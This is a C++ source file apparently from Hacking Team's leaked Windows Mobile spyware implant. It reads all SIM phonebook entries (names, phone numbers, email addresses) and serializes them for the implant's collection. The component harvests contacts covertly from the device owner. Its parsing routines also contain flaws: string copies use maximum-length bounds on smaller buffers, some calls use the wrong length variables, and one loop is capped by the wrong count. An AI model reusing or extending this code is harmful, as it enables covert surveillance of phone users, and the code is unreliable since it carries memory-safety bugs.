hackedteam/core-winmobile

View on GitHub
Mornella/Mornella_Mobile/PoomContactsSIMReader.cpp

Summary

Maintainability
Test Coverage
#include <map>
#include "PoomContactsSIMReader.h"
#include "PoomContact.h"

CPoomContactsSIMReader::CPoomContactsSIMReader()
:    IPoomFolderReader(NULL), m_hSim(NULL), m_dwTotal(0), m_dwUsed(0), m_bInit(FALSE), m_dwOSMinVersion(1)
{
    ZeroMemory(&m_simCaps, sizeof(SIMCAPS));
    
    OSVERSIONINFO VersionInfo;
    ZeroMemory(&VersionInfo, sizeof(OSVERSIONINFO));
    VersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
    
    if (TRUE == GetVersionEx(&VersionInfo))
        m_dwOSMinVersion = VersionInfo.dwMinorVersion;
}

BOOL CPoomContactsSIMReader::InitializeSIM()
{
    HRESULT hr = E_FAIL;
    BOOL bRet = FALSE;

    hr = SimInitialize(0, NULL, 0, &m_hSim);
    if (hr != S_OK)
        return bRet;

    m_simCaps.cbSize = sizeof(SIMCAPS);
    hr = SimGetDevCaps(m_hSim, SIM_CAPSTYPE_ALL, &m_simCaps);
    if (hr != S_OK) {
        SimDeinitialize(m_hSim);
        m_hSim = NULL;
        return bRet;
    }
    
    hr = SimGetPhonebookStatus(m_hSim, SIM_PBSTORAGE_SIM, &m_dwUsed, &m_dwTotal);
    if (hr != S_OK || m_dwUsed == 0) {
        SimDeinitialize(m_hSim);
        m_hSim = NULL;
        return bRet;
    }

    return (bRet = TRUE);
}

CPoomContactsSIMReader::~CPoomContactsSIMReader(void)
{
    if (m_hSim != NULL) {
        SimDeinitialize(m_hSim);
        m_hSim = NULL;
    }
}

INT CPoomContactsSIMReader::Count()
{
    int uCount = 0;
    uCount = m_simCaps.dwMaxPBIndex - m_simCaps.dwMinPBIndex;
    return uCount;
}

HRESULT CPoomContactsSIMReader::Get(INT i, CPoomSerializer *pPoomSerializer, LPBYTE *pBuf, UINT *puBufLen)
{
    HRESULT hr = E_FAIL;
    if (pBuf == NULL || puBufLen == NULL)
        return hr;

    BOOL bGot = FALSE;

    CPoomContact *contact = new CPoomContact();
    if (contact == NULL)
        return hr;
    
    HeaderStruct *header = contact->Header();
    
    if (m_dwOSMinVersion != 1) {        // Se Win mobile e' diverso da 5.0 provo a prendere le info estese
        SIMPHONEBOOKCAPS PBCaps;
        ZeroMemory(&PBCaps, sizeof(SIMPHONEBOOKCAPS));
        PBCaps.cbSize = sizeof(SIMPHONEBOOKCAPS);
        PBCaps.dwParams = SIM_PARAM_PBCAPS_ALL;
        PBCaps.dwStorages = SIM_PBSTORAGE_SIM;
        hr = SimGetPhonebookCapabilities(m_hSim, &PBCaps);
        
        if (hr == S_OK) {
            DWORD dwBufferSize = (sizeof(SIMPHONEBOOKENTRYEX) + PBCaps.dwAdditionalNumberCount*sizeof(SIMPHONEBOOKADDITIONALNUMBER)+
                                PBCaps.dwEmailAddressCount*sizeof(SIMPHONEBOOKEMAILADDRESS)); 
            DWORD dwCount = 1;
            dwBufferSize = dwBufferSize * 1;
            LPSIMPHONEBOOKENTRYEX lpSimPBEx = (LPSIMPHONEBOOKENTRYEX)LocalAlloc(LPTR, dwBufferSize);
            hr = SimReadPhonebookEntries(m_hSim, SIM_PBSTORAGE_SIM, i, &dwCount, lpSimPBEx, &dwBufferSize);

            if (hr != S_OK) {
                hr = SimReadPhonebookEntries(m_hSim, SIM_PBSTORAGE_SIM, i, &dwCount, lpSimPBEx, &dwBufferSize);
            }

            header->lOid = lpSimPBEx->dwIndex;
            hr = ParseEx(lpSimPBEx, contact);
            
            LocalFree(lpSimPBEx);

            if (hr == S_OK)
                bGot = TRUE;
        }        
    }

    if (bGot == FALSE) {
        SIMPHONEBOOKENTRY simEntry;
        ZeroMemory(&simEntry, sizeof(SIMPHONEBOOKENTRY));
        simEntry.cbSize = sizeof( SIMPHONEBOOKENTRY );

        hr = SimReadPhonebookEntry(m_hSim,
                                    SIM_PBSTORAGE_SIM,
                                    i,
                                    &simEntry );
                   
        if (hr != S_OK ) {
            if (contact)
                delete contact;
            return hr;
        }

        if (hr == S_OK) {
            header->lOid = i;
            hr = Parse(&simEntry, contact);
            if (hr != S_OK) {
                if (contact)
                    delete contact;
                return hr;
            }
        }    
    }

    *pBuf = pPoomSerializer->Serialize(contact, (LPDWORD) puBufLen);

    if(contact)
        delete contact;

    return hr;
}

HRESULT CPoomContactsSIMReader::Parse(SIMPHONEBOOKENTRY* lpsimEntry, CPoomContact *contact)
{
    UINT uAddressLen = 0, uTextLen = 0;
    StringCchLengthW(lpsimEntry->lpszAddress, MAX_LENGTH_ADDRESS, &uAddressLen);    
    StringCchLengthW(lpsimEntry->lpszText, MAX_LENGTH_PHONEBOOKENTRYTEXT, &uTextLen);

    if (uAddressLen == 0 && uTextLen == 0) 
        return S_FALSE;

    ContactMapType* contactMap = contact->Map();

    if (uAddressLen > 0) {
        LPWSTR lpwAddress = new(nothrow) WCHAR[uAddressLen + 1];

        if (lpwAddress != NULL) {
            StringCchCopyW(lpwAddress, uAddressLen+1, lpsimEntry->lpszAddress);
            (*contactMap)[MobileTelephoneNumber] = lpwAddress;
        }
    }

    if (uTextLen > 0) {
        LPWSTR lpwText = new(nothrow) WCHAR[uTextLen + 1];

        if (lpwText != NULL) {
            StringCchCopyW(lpwText, uTextLen+1, lpsimEntry->lpszText);
            (*contactMap)[FirstName] = lpwText;
        }
    }

    return S_OK;
}

HRESULT CPoomContactsSIMReader::ParseEx(SIMPHONEBOOKENTRYEX* lpSimPBEx, CPoomContact *contact)
{
    UINT uAddressLen = 0, uTextLen = 0, uTmpLen = 0;;
    StringCchLengthW(lpSimPBEx->lpszAddress, MAX_LENGTH_ADDRESS, &uAddressLen);    
    StringCchLengthW(lpSimPBEx->lpszText, MAX_LENGTH_PHONEBOOKENTRYTEXT, &uTextLen);

    if (uAddressLen == 0 && uTextLen == 0) {
        return S_FALSE;
    }

    ContactMapType* contactMap = contact->Map();

    if (uAddressLen > 0) {
        LPWSTR lpwAddress = new(nothrow) WCHAR[uAddressLen + 1];

        if (lpwAddress != NULL) {
            StringCchCopyW(lpwAddress, MAX_LENGTH_ADDRESS+1, lpSimPBEx->lpszAddress);
            (*contactMap)[MobileTelephoneNumber] = lpwAddress;
        }
    }

    if (uTextLen > 0) {
        LPWSTR lpwText = new(nothrow) WCHAR[uTextLen + 1];

        if (lpwText != NULL) {
            StringCchCopyW(lpwText, MAX_LENGTH_PHONEBOOKENTRYTEXT+1, lpSimPBEx->lpszText);
            (*contactMap)[FirstName] = lpwText;
        }
    }

    if(SUCCEEDED(StringCchLengthW(lpSimPBEx->lpszSecondName, MAX_LENGTH_PHONEBOOKENTRYTEXT, &uTmpLen))) {
        if (uTmpLen > 0) {
            LPWSTR lpwTemp = new(nothrow) WCHAR[uTmpLen + 1];

            if (lpwTemp != NULL) {
                StringCchCopyW(lpwTemp, uTextLen+1, lpSimPBEx->lpszSecondName);
                (*contactMap)[LastName] = lpwTemp;
            }    
        }
    }


    // Emails
    UINT uMaxNum = 0;
    INT iEmailArray[3] = {Email1Address, Email2Address, Email3Address};
    lpSimPBEx->dwEmailCount < 3? uMaxNum = lpSimPBEx->dwEmailCount: uMaxNum = 3;
    
    for(UINT i = 0; i < uMaxNum; i++) {
        if (lpSimPBEx->lpEmailAddresses[i].lpszAddress == NULL)
            continue;
        
        if(SUCCEEDED(StringCchLengthW(lpSimPBEx->lpEmailAddresses[i].lpszAddress, MAX_LENGTH_PHONEBOOKENTRYTEXT, &uTmpLen))) {
            if (uTmpLen > 0) {
                LPWSTR lpwTemp = new(nothrow) WCHAR[uTmpLen + 1];

                if (lpwTemp != NULL) {
                    StringCchCopyW(lpwTemp, uTmpLen+1, lpSimPBEx->lpEmailAddresses[i].lpszAddress);
                    (*contactMap)[(e_contactEntry)iEmailArray[i]] = lpwTemp;
                }    
            }
        }
    }

    // numbers
    uMaxNum = 0;
    INT iNumArray[5] = {BusinessTelephoneNumber, HomeTelephoneNumber, HomeFaxNumber, CarTelephoneNumber, RadioTelephoneNumber};
    lpSimPBEx->dwAdditionalNumberCount < 5? uMaxNum = lpSimPBEx->dwEmailCount: uMaxNum = 5;

    for(UINT i = 0; i < uMaxNum; i++) {
        if (lpSimPBEx->lpAdditionalNumbers[i].lpszAddress == NULL)
            continue;

        if(SUCCEEDED(StringCchLengthW(lpSimPBEx->lpAdditionalNumbers[i].lpszAddress, MAX_LENGTH_ADDRESS, &uTmpLen))) {
            if (uTmpLen > 0) {
                LPWSTR lpwTemp = new(nothrow) WCHAR[uTmpLen + 1];

                if (lpwTemp != NULL) {
                    StringCchCopyW(lpwTemp, uTextLen+1, lpSimPBEx->lpAdditionalNumbers[i].lpszAddress);
                    (*contactMap)[(e_contactEntry)iNumArray[i]] = lpwTemp;
                }    
            }
        }
    }

    return S_OK;
}